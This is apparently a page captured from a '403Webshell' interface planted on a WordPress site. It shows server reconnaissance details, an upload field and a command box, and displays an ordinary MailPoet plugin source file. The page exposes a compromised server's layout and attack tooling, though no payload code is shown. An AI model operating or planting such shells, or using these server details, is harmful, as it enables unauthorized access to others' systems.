403Webshell
Server IP : 104.26.3.156  /  Your IP : 216.73.216.185
Web Server : nginx/1.27.1
System : Linux us-1 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User : vinodai ( 3134)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /storage/v1396/themastermynd/public_html/wp-content/plugins/mailpoet/lib/API/JSON/v1/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /storage/v1396/themastermynd/public_html/wp-content/plugins/mailpoet/lib/API/JSON/v1/Help.php
<?php declare(strict_types = 1);

namespace MailPoet\API\JSON\v1;

if (!defined('ABSPATH')) exit;


use MailPoet\API\JSON\Endpoint as APIEndpoint;
use MailPoet\API\JSON\Error as APIError;
use MailPoet\API\JSON\Response;
use MailPoet\Config\AccessControl;
use MailPoet\Entities\ScheduledTaskEntity;
use MailPoet\Newsletter\Sending\ScheduledTasksRepository;
use MailPoet\Util\DataInconsistency\DataInconsistencyController;

class Help extends APIEndpoint {

  public $permissions = [
    'global' => AccessControl::PERMISSION_MANAGE_HELP,
  ];

  private ScheduledTasksRepository $scheduledTasksRepository;
  private DataInconsistencyController $dataInconsistencyController;

  public function __construct(
    ScheduledTasksRepository $scheduledTasksRepository,
    DataInconsistencyController $dataInconsistencyController
  ) {
    $this->scheduledTasksRepository = $scheduledTasksRepository;
    $this->dataInconsistencyController = $dataInconsistencyController;
  }

  public function cancelTask($data): Response {
    try {
      $this->validateTaskId($data);

      $task = $this->scheduledTasksRepository->findOneById($data['id']);
      if (!$task instanceof ScheduledTaskEntity) {
        return $this->errorResponse([
          APIError::NOT_FOUND => __('Task not found.', 'mailpoet'),
        ]);
      }

      $this->scheduledTasksRepository->cancelTask($task);
      return $this->successResponse();
    } catch (\Exception $e) {
      return $this->badRequest([ApiError::BAD_REQUEST => $e->getMessage()]);
    }
  }

  public function rescheduleTask($data): Response {
    try {
      $this->validateTaskId($data);

      $task = $this->scheduledTasksRepository->findOneById($data['id']);
      if (!$task instanceof ScheduledTaskEntity) {
        return $this->errorResponse([
          APIError::NOT_FOUND => __('Task not found.', 'mailpoet'),
        ]);
      }

      $this->scheduledTasksRepository->rescheduleTask($task);
      return $this->successResponse();
    } catch (\Exception $e) {
      return $this->badRequest([ApiError::BAD_REQUEST => $e->getMessage()]);
    }
  }

  public function getInconsistentDataStatus(): Response {
    return $this->successResponse($this->dataInconsistencyController->getInconsistentDataStatus());
  }

  public function fixInconsistentData($data): Response {
    try {
      $this->dataInconsistencyController->fixInconsistentData($data['inconsistency'] ?? '');
    } catch (\Exception $e) {
      return $this->badRequest([ApiError::BAD_REQUEST => $e->getMessage()]);
    }
    return $this->successResponse($this->dataInconsistencyController->getInconsistentDataStatus());
  }

  private function validateTaskId($data): void {
    $isValid = isset($data['id']) && is_numeric($data['id']);
    if (!$isValid) {
      throw new \Exception(__('Invalid or missing parameter `id`.', 'mailpoet'));
    }
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit